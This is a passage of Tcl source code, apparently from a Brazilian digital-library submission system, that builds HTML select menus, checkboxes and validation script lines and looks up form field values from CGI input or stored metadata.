				CreateOptionForSelect $fieldName $value $optionName $optionValue	;# appends row
			}
		} else {
# with subitems (the last item has a first subitem that has least two subitems)
			if [string equal {} [lindex $optionList 0]] {
# the first element is empty
				set optionList [lreplace $optionList 0 0]
				CreateOptionForSelect $fieldName $value {} {}	;# appends row
			}
			foreach option $optionList {
				append row "<optgroup label=\"[lindex $option 0]\">"
				foreach option2 [lindex $option 1] {
					set optionName [lindex $option2 0]
					set optionValue [lindex $option2 1]
					CreateOptionForSelect $fieldName $value $optionName $optionValue	;# appends row
				}
				append row "</optgroup>"
			}
		}
	}
	append row </SELECT>
}

# CreateSelect - end
# ----------------------------------------------------------------------
# CreateOptionForSelect
# example of argument values:
# fieldName == %@group
# fieldValue == CST-CST-INPE-MCTI-GOV-BR
# optionName == CST
# optionValue == CST-CST-INPE-MCTI-GOV-BR
# optionValue == CST-CST-SPG-INPE-MCTI-GOV-BR

proc CreateOptionForSelect {fieldName fieldValue optionName optionValue} {
# puts [list $fieldName $fieldValue $optionName $optionValue]
	upvar row row
	upvar 2 translationTable translationTable
	upvar 2 referenceType referenceType
	if [info exists translationTable($optionName,$referenceType,$fieldName)] {
		set translatedOption $translationTable($optionName,$referenceType,$fieldName)
	} else {
# don't translate
		set translatedOption $optionName
	}
# puts [string equal $fieldValue $optionValue]<br>
	if [string equal $fieldValue $optionValue] {
		append row "<OPTION SELECTED VALUE=\"$optionValue\">$translatedOption</OPTION>"
	} else {
		append row "<OPTION VALUE=\"$optionValue\">$translatedOption</OPTION>"
	}
}

# CreateOptionForSelect - end
# ----------------------------------------------------------------------
# CreateCheckBox
# used with Register and Submit
# example of fieldName: %A
# example of field: _A_author

proc CreateCheckBox {fieldName field value varName} {
	upvar referenceType referenceType
	upvar boxTable boxTable
	upvar $varName row
	upvar userName userName

	set boxValues $boxTable($referenceType,$fieldName)
	if {[llength [lindex [lindex $boxValues 0] 1]] <= 1} {
# without subitem
		foreach box $boxValues {
			if [string equal {} [lindex $box 0]] {continue}
			CreateBoxForCheckBox $fieldName $value $field $box	;# appends row
		}
	} else {
# with subitems (the first item has at least two subitems)
		foreach box $boxValues {
			append row [lindex $box 0]<BR>
			foreach box2 [lindex $box 1] {
				CreateBoxForCheckBox $fieldName $value $field $box2	;# appends row
			}
			append row <BR>
		}
	}
}

# CreateCheckBox - end
# ----------------------------------------------------------------------
# CreateBoxForCheckBox

proc CreateBoxForCheckBox {fieldName fieldValue field box} {
	upvar row row
	upvar 2 translationTable translationTable
	upvar 2 referenceType referenceType
	upvar 2 update update

	set name [lindex $box 0]
	if [info exists translationTable($name,$referenceType,$fieldName)] {
		set translatedName $translationTable($name,$referenceType,$fieldName)
	} else {
# don't translate
		set translatedName $name
	}
	set checked {}
	if [string equal {} $fieldValue] {
		if {(![info exists update] || !$update) && [lindex $box 1]} {set checked CHECKED}	;# use default value at submit only
	} else {
# puts [list $fieldValue $name]
		if {[lsearch $fieldValue $name] != -1} {set checked CHECKED}
	}
#	append row "&nbsp;&nbsp;<INPUT class=checkBox NAME=\"$field\" VALUE=\"$name\" TYPE=CHECKBOX $checked>&nbsp\;<FONT class=formColumn3TextFont>$translatedName</FONT><BR>"
	append row "<INPUT class=checkBox NAME=\"$field\" VALUE=\"$name\" TYPE=CHECKBOX $checked>&nbsp\;<FONT class=formColumn3TextFont>$translatedName</FONT><BR>"
}

# CreateBoxForCheckBox - end
# ----------------------------------------------------------------------
# AppendLineList

proc AppendLineList {condition label2 {i {}}} {
	upvar requiredFieldSymbol requiredFieldSymbol
	upvar displayTable displayTable
	upvar referenceType referenceType
	upvar fieldName fieldName
	upvar conditionList conditionList
	upvar lineList lineList
	upvar optionTable2 optionTable2
	upvar submissionType submissionType
	upvar update update	;# used in subst (see fillInstruction)
	upvar updateOption updateOption	;# used in subst (see fillInstruction)

	upvar languageRep1 languageRep1	;# added by GJFB on 2016-06-05
	upvar languageRep2 languageRep2	;# added by GJFB on 2016-06-05
	upvar firstLanguageRep firstLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionFormRep submissionFormRep	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguage submissionFormLanguage	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguageRep submissionFormLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionType submissionType	;# added by GJFB on 2016-06-05
	upvar supervisorList supervisorList	;# added by GJFB on 2016-06-05
	upvar userName userName	;# added by GJFB on 2016-06-05

#	set fillInstruction [lindex $displayTable($referenceType,$fieldName) 1]	;# commented by GJFB on 2016-06-05
	set displayValue [subst $displayTable($referenceType,$fieldName)]	;# added by GJFB on 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
	set fillInstruction [lindex $displayValue 1]	;# added by GJFB on 2016-06-05
	regsub {\[Help .*\]} $fillInstruction {} fillInstruction
	set fillInstruction [subst $fillInstruction]	;# subst is to resolve: [expr $update?{}:{<FONT COLOR=BROWN>(*)</FONT>}] (see administrator page script)
	if [regexp "$requiredFieldSymbol" $fillInstruction] {
		lappend lineList "if ($condition) {fieldNameList += document.$submissionType.$label2$i.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
	} else {
		if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)]} {
			lappend lineList "if (document.$submissionType.__documentstage_documentstage.value == \"Closed Review\" && $condition) {fieldNameList += document.$submissionType.$label2.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
		}
	}
}

# AppendLineList - end
# ----------------------------------------------------------------------
# CompareFieldName

proc CompareFieldName {a b} {
	global orderingFieldArray
	set a1 [lindex $a 0]	;# %A
	set b1 [lindex $b 0]
	if {[info exists orderingFieldArray($a1)] && \
		[info exists orderingFieldArray($b1)]} {
		set a2 $orderingFieldArray($a1)
		set b2 $orderingFieldArray($b1)
		return [expr $a2<=$b2?-1:1]
	} elseif {[info exists orderingFieldArray($a1)] && \
		![info exists orderingFieldArray($b1)]} {
		return -1
	} elseif {![info exists orderingFieldArray($a1)] && \
		[info exists orderingFieldArray($b1)]} {
		return 1
	} else {
		return 0
	}
}

# CompareFieldName - end
# ----------------------------------------------------------------------
# FindFieldValue
# example:
# FindFieldValue {__group_group} %@group group $referenceType $update

proc FindFieldValue {field fieldName label referenceType update} {
	global cgi
	global multipleLineReferFieldNamePattern
	global multipleLineReferFieldNamePattern2
	global multipleLineReferFieldNamePatternForCreator

	upvar displayTable displayTable
	upvar localMetadataArray localMetadataArray
	upvar reviewArray reviewArray
	upvar metadataRep metadataRep
	upvar repName repName
	upvar sourceFieldNameArray sourceFieldNameArray
	
	upvar languageRep1 languageRep1	;# added by GJFB on 2016-06-05
	upvar languageRep2 languageRep2	;# added by GJFB on 2016-06-05
	upvar firstLanguageRep firstLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionFormRep submissionFormRep	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguage submissionFormLanguage	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguageRep submissionFormLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionType submissionType	;# added by GJFB on 2016-06-05
	upvar supervisorList supervisorList	;# added by GJFB on 2016-06-05
	upvar userName userName	;# added by GJFB on 2016-06-05

	if [info exists cgi(sourcereferencetype)] {
		if [info exists sourceFieldNameArray($fieldName)] {
			set label2 $sourceFieldNameArray($fieldName)
		} else {
			set label2 {}
		}
	} else {
		set label2 $label
	}

# fieldTypeNumber
	if [info exists displayTable($referenceType,$fieldName)] {
#		set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]]	;# commented by GJFB on 2016-06-05
		set displayValue [subst $displayTable($referenceType,$fieldName)]	;# added by GJFB on 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
		set fieldTypeNumber [lindex $displayValue 0]	;# added by GJFB on 2016-06-05
	}

	if [info exists cgi($field)] {
		if {[regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] && \
		[info exists displayTable($referenceType,$fieldName)] && \
		[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && \
		![string equal {Resume} $referenceType] && \
		([regexp {%A} $fieldName] || \
		([regexp {%@resumeid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
		([regexp {%@orcid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
		([regexp {%@group} $fieldName] && [regexp {^(2.1|3)$} $fieldTypeNumber]) || \
		([regexp {%@affiliation} $fieldName] && [regexp {2.1} $fieldTypeNumber]) || \
		([regexp {%@electronicmailaddress} $fieldName] && [regexp {2.1} $fieldTypeNumber]))} {
# multiple creator fields
# change into a list
			if {[info exists cgi(passworderror)] && $cgi(passworderror)} {
				regsub -all {\s\n} $cgi($field) "\n" value	;# drop extra blank lines (needed when returning after a wrong password)
			} else {
				set value $cgi($field)
			}
			set value [split $value \n]
			if ![llength $value] {set value {{}}}	;# to avoid zero creator field
# puts --$value--
		} else {
			set value $cgi($field)
#			regsub -all {"} $value {\&#34;} value	;# " -> &#34; - " leads to problem in INPUT VALUE
		}
# Store value C:/tmp/aaa binary 0 a
# puts $field--$value--
#		regsub -all "\n" $value {} value	;# preserve lines ! (otherwise we get double lines) - doesn't work with multiple creator fields
		regsub -all {\s\n} $value "\n" value	;# TEXTAREA adds one blank line between each line
	} elseif {$update && [info exists localMetadataArray($metadataRep-0,$label2)]} {
# VALUE	
		set value $localMetadataArray($metadataRep-0,$label2)
# puts $multipleLineReferFieldNamePattern2
# => A|E|Y|\?|O|@isbn|@lineage|@group|@orcid|@readergroup|@archivist|@sponsor|@resumeid|@affiliation|@supervisor|@electronicmailaddress|@issn|@usergroup
		if [regexp $multipleLineReferFieldNamePattern2 $fieldName] {
# multiple line fields
# puts $value
#			if [regexp {^%@group|^%@affiliation|^%@electronicmailaddress} $fieldName] #
			if ![regexp $multipleLineReferFieldNamePatternForCreator $fieldName] {
				set value [MultipleRegsub {,*$} $value {}] ;# drop trailing commas
			} else {
# puts $value
#				set value [MultipleRegsub {(,.+),$|^([^ ]+),$} $value {\1\2}] ;# drop trailing comma
				set value [MultipleRegsub {(,[^()]+),$|^([^ ]+),$|(,.+\(.*\)),$} $value {\1\2\3}] ;# drop trailing comma - added by GJFB on 2018-02-28 to solve cases like {aa, bb (dd, ff),} (-> aa, bb (dd, ff)) and {aa bb (dd, ff),} (-> aa, bb (dd, ff),) - useful when filling out the component field
			}
			if {[regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] && \
			[info exists displayTable($referenceType,$fieldName)] && \
			[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && \
			![string equal {Resume} $referenceType] && \
			([regexp {%A} $fieldName] || \
			([regexp {%@resumeid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
			([regexp {%@orcid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
			([regexp {%@group} $fieldName] && [regexp {^(2.1|3)$} $fieldTypeNumber]) || \
			([regexp {%@affiliation} $fieldName] && [regexp {2.1} $fieldTypeNumber]) || \
			([regexp {%@electronicmailaddress} $fieldName] && [regexp {2.1} $fieldTypeNumber]))} {
# multiple creator fields
# leave as a list
			} else {
# puts $fieldName			
# puts 1--$value--
				if [regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] {	;# 'if' added by GJFB on 2022-06-11 - fieldName like %@usergroup should not be treated as having blank line (for such field, the blanks (&nbsp;) are not removed at submit - see function ProcessSubmit)
# in field like resumeid, orcid, group, affiliation and electronicmailaddress some lines might be empty				
					set value [join $value &nbsp\;\n]	;# added by GJFB on 2022-01-25 - preserves empty lines, otherwise they are lost in the form - line originally empty in metadata (e.g. resumeid) must contain a blank (&nbsp;) to be displayed correctly in textarea (this blank is removed at submit - see function ProcessSubmit)
				} else {
if 1 {
# added by GJFB on 2022-08-04 to fix metadata updated between 2022-01-25 and 2022-06-11 and in Archive with URLibService not updated after 2022-06-11
	if [regexp {%@usergroup|%@readergroup} $fieldName] {
# puts --$value--
		set nbsp [format %c 160]	;# no-break space
		set value [lsort -unique [regsub -all $nbsp $value {}]]	;# drop no-break spaces and duplicates
	}
}
					set value [join $value \n] 
				}
# puts 2--$value--
			}
		} else {
# puts $value
##			set value [join $value]	;# doesn't work - lost quotes (")
#			regsub -all {"} $value {\&#34;} value	;# " -> &#34; - " leads to problem in INPUT VALUE
# puts $value
			if {[string equal {Archival Unit} $referenceType] && [string equal {contents} $label]} {
# contents
				catch {	;# added by GJFB on 2025-07-03 to overcome error like 'CreateMirror (5): list element in braces followed by "{Teses" instead of space'	#}
					set contentsList {}
					foreach {searchExpression title} $value {
						lappend contentsList [list $searchExpression $title]
					}
					set value [join $contentsList \n]	;# added by GJFB on 2013-04-13
				}
			}
			if [regexp $multipleLineReferFieldNamePattern $fieldName] {
# multipleLineReferFieldNamePattern - multipleLineReferFieldNamePattern2 ( = nexthigheunit or previouslowerunit)
				if [regexp {^(1.1|4)$} $fieldTypeNumber] {
					set value [join $value \n]
				}
			}
		}
#		if [regexp {^%T} $fieldName] {
## hide $ in title, ex: cr$30
#			regsub -all {\$} $value {\\\\\\\$} value	;# cr$30 -> cr\$30
#		}
	} elseif {$update && [info exists reviewArray($repName,$fieldName)]} {
		set value $reviewArray($repName,$fieldName)
	} else {
		if {[regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] && \
		[info exists displayTable($referenceType,$fieldName)] && \
		[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && \
		![string equal {Resume} $referenceType] && \
		([regexp {%A} $fieldName] || \
		([regexp {%@resumeid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
		([regexp {%@orcid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
		([regexp {%@group} $fieldName] && [regexp {^(2.1|3)$} $fieldTypeNumber]) || \
		([regexp {%@affiliation} $fieldName] && [regexp {2.1} $fieldTypeNumber]) || \
		([regexp {%@electronicmailaddress} $fieldName] && [regexp {2.1} $fieldTypeNumber]))} {
# multiple creator fields
			set value {{}}
		} else {
			set value {}
		}
	}
# puts --$value--
	regsub -all {"} $value {\&#34;} value	;# " -> &#34; - " leads to problem in INPUT VALUE
#	regsub -all {\$} $value {\\\\\\$} value	;# $ -> \\\\\\$ ($w$-operator)
# puts $referenceType,$fieldName
# puts [info exists displayTable($referenceType,$fieldName)]
	if [info exists displayTable($referenceType,$fieldName)] {
# Process check box type entry
		if {$fieldTypeNumber == 2.2} {
# 2.2
# checkbox
			set value [TurnIntoList $value]
		}
# Process check box type entry - end

# puts "$field = $value"
		if [string equal {} $value] {
# set default value (from displayTable)
#			set value [lindex $displayTable($referenceType,$fieldName) 2]	;# commented by GJFB on 2016-06-05
			set value [lindex $displayValue 2]	;# added by GJFB on 2016-06-05
# puts "$field = $value"
		} else {
# puts 1-$value
## use fifteen \ before square brackets (1 + 2 + 4 + 8 = 15 (there are four substitutions)
## in regsub we must double the number of \, that is we need thirty \.
#			regsub -all {\[} $value {\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\[} value
#			regsub -all {\]} $value {\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]} value
# use three \ before square brackets (1 + 2 = 3 (there are two substitutions)
# in regsub we must double the number of \, that is we need six \.
#			regsub -all {\[} $value {\\\\\\[} value	;# removed by GJFB on 2010-11-26 - doesn't work when using square bracket in the abstract field (e.g., [1])
#			regsub -all {\]} $value {\\\\\\]} value	;# removed by GJFB on 2010-11-26 - doesn't work when using square bracket in the abstract field (e.g., [1])
# puts 2-$value
		}
		if [string equal {readpermission} $label] {
			if [string equal {Journal Article} $referenceType] {
				if [regexp {deny} $value] {
					set value intranet
				}
			} else {
				set value2 [ReturnAllowedIPList $value]
				if [regexp {^[\d. ]+$} $value2] {
					set value intranet
				} else {
					set value $value2
				}
			}
		}
	}
# puts --$value--<BR>
	return $value
}

# FindFieldValue - end
# ----------------------------------------------------------------------
# Translate

proc Translate {fieldName label referenceType} {
	upvar displayTable displayTable
	upvar conversionTable conversionTable
	upvar translationTable translationTable
	upvar update update	;# used in subst (see fieldTypeNumber)
	
	upvar languageRep1 languageRep1	;# added by GJFB on 2016-06-05
	upvar languageRep2 languageRep2	;# added by GJFB on 2016-06-05
	upvar firstLanguageRep firstLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionFormRep submissionFormRep	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguage submissionFormLanguage	;# added by GJFB on 2016-06-05
	upvar submissionFormLanguageRep submissionFormLanguageRep	;# added by GJFB on 2016-06-05
	upvar submissionType submissionType	;# added by GJFB on 2016-06-05
	upvar supervisorList supervisorList	;# added by GJFB on 2016-06-05
	upvar userName userName	;# added by GJFB on 2016-06-05

# puts $fieldName<BR>
# puts $displayTable($referenceType,$fieldName)
# translatedCustomizedFieldName
#	set customizedFieldName [lindex $displayTable($referenceType,$fieldName) 3]	;# commented by GJFB on 2016-06-05
	set displayValue [subst $displayTable($referenceType,$fieldName)]	;# added by GJFB on 2016-06-05 - subst added to solve a conditional display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
	set customizedFieldName [lindex $displayValue 3]	;# added by GJFB on 2016-06-05
	set translatedCustomizedFieldName {}	;# could be anything
# fieldTypeNumber
#	set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]]	;# commented by GJFB on 2016-06-05
	set fieldTypeNumber [lindex $displayValue 0]	;# added by GJFB on 2016-06-05

	if [string equal {} $customizedFieldName] {
		if {$fieldTypeNumber != 0} {
			set translatedCustomizedFieldName $conversionTable($label)
		}
	} else {
		if [info exists translationTable($customizedFieldName,$referenceType,$fieldName)] {
			set translatedCustomizedFieldName $translationTable($customizedFieldName,$referenceType,$fieldName)
		} else {
# don't translate
			set translatedCustomizedFieldName $customizedFieldName
		}
	}

# translatedFootnoteReference
#	set footnoteReference [lindex $displayTable($referenceType,$fieldName) 1]	;# commented by GJFB on 2016-06-05
	set footnoteReference [lindex $displayValue 1]	;# added by GJFB on 2016-06-05
	set translatedFootnoteReference {}	;# could be anything
	if [info exists translationTable($footnoteReference,$referenceType,$fieldName)] {
		set translatedFootnoteReference $translationTable($footnoteReference,$referenceType,$fieldName)
	} else {
# don't translate
		set translatedFootnoteReference $footnoteReference
	}
	if [string equal {} $translatedFootnoteReference] {set translatedFootnoteReference &nbsp\;}	;# empty cell for netscape
	return [list $translatedCustomizedFieldName $translatedFootnoteReference]
}

# Translate - end
# ----------------------------------------------------------------------
# CreateOrdinalNumber

proc CreateOrdinalNumber {language number {htmlFlag 1}} {
	switch $language {
		en {
			if $htmlFlag {
				switch $number {
					1 {return {1<SUP>st</SUP>}}
					2 {return {2<SUP>nd</SUP>}}
					3 {return {3<SUP>rd</SUP>}}
					default {return "$number<SUP>th</SUP>"}
				}
			} else {
				switch $number {
					1 {return {1st}}
					2 {return {2nd}}
					3 {return {3rd}}
					default {return "${number}th"}
				}
			}
		}
		pt-BR {return "$number°"}
		default {return $number}
	}
}

# CreateOrdinalNumber - end
# ----------------------------------------------------------------------
